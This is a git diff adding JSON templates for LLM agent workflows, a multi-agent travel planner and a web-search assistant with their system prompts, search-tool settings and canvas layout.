+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: Professional tour guide: Create detailed travel plans per user needs.\nFirst, specify departure location, destination, and travel duration (for subsequent agents to retrieve).\nDevelop the plan using tools to get real-time weather, holidays, attraction hours, traffic, etc. Adjust itinerary accordingly (e.g., reschedule outdoor activities on rainy days) to ensure practicality, efficiency, and alignment with user preferences.\nFor real-time info retrieval, only output tool-returned content and pass it to subsequent agents; never rely on your own knowledge base.\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Travel Planning Agent"
+ },
+ "dragging": false,
+ "id": "Agent:OddGuestsPump",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 636.3704165924755,
+ "y": -48.48140762793254
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nFirst step result:\n{Agent:OddGuestsPump@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Transit & Stay Agent, collaborating with upstream planners.\n\n Use tools to retrieve real-time info for transportation (flights, trains, rentals, etc.) and accommodation (hotels, rentals, etc.) based on the itinerary. Recommend options matching dates, destinations, budgets, and preferences, adjusting for availability or conflicts to align with the overall plan.",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ },
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Transit & Stay Agent"
+ },
+ "id": "Agent:RichTermsCamp",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 936.3704165924755,
+ "y": -48.48140762793254
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nTravel plan:\n{Agent:OddGuestsPump@content}\n\nTransit & Stay plan:\n{Agent:RichTermsCamp@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Result Generator. \nYour task is to produce accurate and reliable travel plans based on integrated information from upstream agents and tool-retrieved data. Ensure the final plan is logically structured, time-efficient, and consistent with all verified details—including clear timelines, confirmed transportation/accommodation arrangements, and practical activity adjustments . Prioritize clarity and feasibility to help users execute the plan smoothly.",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Result Generator"
+ },
+ "dragging": false,
+ "id": "Agent:WeakCarrotsTan",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 1236.3704165924755,
+ "y": -48.48140762793254
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:WeakCarrotsTan@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Final Plan"
+ },
+ "dragging": false,
+ "id": "Message:ThickEyesUnite",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1583.2969941480576,
+ "y": -26.582338101994175
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The Agent will create detailed travel plans per user needs.\nAdd a map tool(eg. amap MCP) to this Agent for more reliable results."
+ },
+ "label": "Note",
+ "name": "Note: Travel Planning Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:GentleLlamasShake",
+ "measured": {
+ "height": 136,
+ "width": 244
+ },
+ "position": {
+ "x": 628.3550234247459,
+ "y": -226.23395345704375
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The Agent will use tools to retrieve real-time info for transportation and accommodation."
+ },
+ "label": "Note",
+ "name": "Note: Transit & Stay Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:ClearLlamasTell",
+ "measured": {
+ "height": 136,
+ "width": 244
+ },
+ "position": {
+ "x": 942.4779236864392,
+ "y": -224.44816237892894
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "id": "Tool:BreezyStreetsHunt",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 854.3704165924755,
+ "y": 91.51859237206746
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The Agent will produce accurate and reliable travel plans based on integrated information from upstream agents and tool-retrieved data. "
+ },
+ "label": "Note",
+ "name": "Note: Result Generator"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 169,
+ "id": "Note:LongToysShine",
+ "measured": {
+ "height": 169,
+ "width": 246
+ },
+ "position": {
+ "x": 1240.444738031005,
+ "y": -242.8368862758842
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 246
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This workflow functions as your smart trip planner, utilizing LLM technology to automatically generate customized travel itineraries and featuring optional tool integration for enhanced reliability.\n"
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 183,
+ "id": "Note:ProudPlanesMake",
+ "measured": {
+ "height": 183,
+ "width": 284
+ },
+ "position": {
+ "x": 197.34345022177064,
+ "y": -245.57788797841573
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 284
+ }
+ ]
+ },
+ "history": [],
+ "memory": [],
+ "messages": [],
+ "path": [],
+ "retrieval": [],
+ "task_id": "abf6ec5e6ddf11f0a28c047c16ec874f"
+ },
+ "avatar": "data:image/png;base64,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"
+}
+
+
diff --git a/agent/templates/web_search_assistant.json b/agent/templates/web_search_assistant.json
new file mode 100644
index 0000000..0e532d1
--- /dev/null
+++ b/agent/templates/web_search_assistant.json
@@ -0,0 +1,875 @@
+
+{
+ "id": 16,
+ "title": {
+ "en": "WebSearch Assistant",
+ "zh": "网页搜索助手"},
+ "description": {
+ "en": "A chat assistant template that integrates information extracted from a knowledge base and web searches to respond to queries. Let's start by setting up your knowledge base in 'Retrieval'!",
+ "zh": "集成了从知识库和网络搜索中提取的信息回答用户问题。让我们从设置您的知识库开始检索!"},
+ "canvas_type": "Other",
+ "dsl": {
+ "components": {
+ "Agent:SmartSchoolsCross": {
+ "downstream": [
+ "Message:ShaggyRingsCrash"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}\n\nWeb search result:\n{Agent:WildGoatsRule@content}\n\nRetrieval result:\n{Agent:WildGoatsRule@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: You are an Answer Organizer.\nTask: Generate the answer based on the provided content from: User's query, Refined question, Web search result, Retrieval result.\n\nRequirements:\n - Answer should be in markdown format.\n - Answer should include all \n - Do not make thing up when there's no relevant information to user's question. \n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:WildGoatsRule",
+ "Retrieval:WarmTimesRun"
+ ]
+ },
+ "Agent:ThreePathsDecide": {
+ "downstream": [
+ "Agent:WildGoatsRule",
+ "Retrieval:WarmTimesRun"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: You are a Question Refinement Agent. Rewrite ambiguous or incomplete user questions to align with knowledge base terminology using conversation history.\n\nExample:\n\nUser: What's RAGFlow?\nAssistant: RAGFlow is xxx.\n\nUser: How to deloy it?\nRefine it: How to deploy RAGFlow?",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Agent:WildGoatsRule": {
+ "downstream": [
+ "Agent:SmartSchoolsCross"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: You are a Search-Driven Information Agent that answers questions using web search results.\n\nWorkflow:\nKeyword Extraction:\nExtract exactly 3 keywords from the user's question.\n\nKeywords must be:\n✅ Most specific nouns/proper nouns (e.g., \"iPhone 15 Pro\" not \"phone\")\n✅ Core concepts (e.g., \"quantum entanglement\" not \"science thing\")\n✅ Unbiased (no added opinions)\nNever output keywords to users\n\nSearch & Answer:\nUse search tools (TavilySearch, TavilyExtract, Google, Bing, DuckDuckGo, Wikipedia) with the 3 keywords to retrieve results.\nAnswer solely based on search findings, citing sources.\nIf results conflict, prioritize recent (.gov/.edu > forums)\n\nOutput Rules:\n✖️ Never show keywords in final answers\n✖️ Never guess if search yields no results\n✅ Always cite sources using [Source #] notation",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ },
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ },
+ {
+ "component_name": "Google",
+ "name": "Google",
+ "params": {
+ "api_key": "",
+ "country": "us",
+ "language": "en"
+ }
+ },
+ {
+ "component_name": "Bing",
+ "name": "Bing",
+ "params": {
+ "api_key": "YOUR_API_KEY (obtained from https://www.microsoft.com/en-us/bing/apis/bing-web-search-api)",
+ "channel": "Webpages",
+ "country": "CH",
+ "language": "en",
+ "top_n": 10
+ }
+ },
+ {
+ "component_name": "DuckDuckGo",
+ "name": "DuckDuckGo",
+ "params": {
+ "channel": "text",
+ "top_n": 10
+ }
+ },
+ {
+ "component_name": "Wikipedia",
+ "name": "Wikipedia",
+ "params": {
+ "language": "en",
+ "top_n": 10
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:ThreePathsDecide"
+ ]
+ },
+ "Message:ShaggyRingsCrash": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:SmartSchoolsCross@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:SmartSchoolsCross"
+ ]
+ },
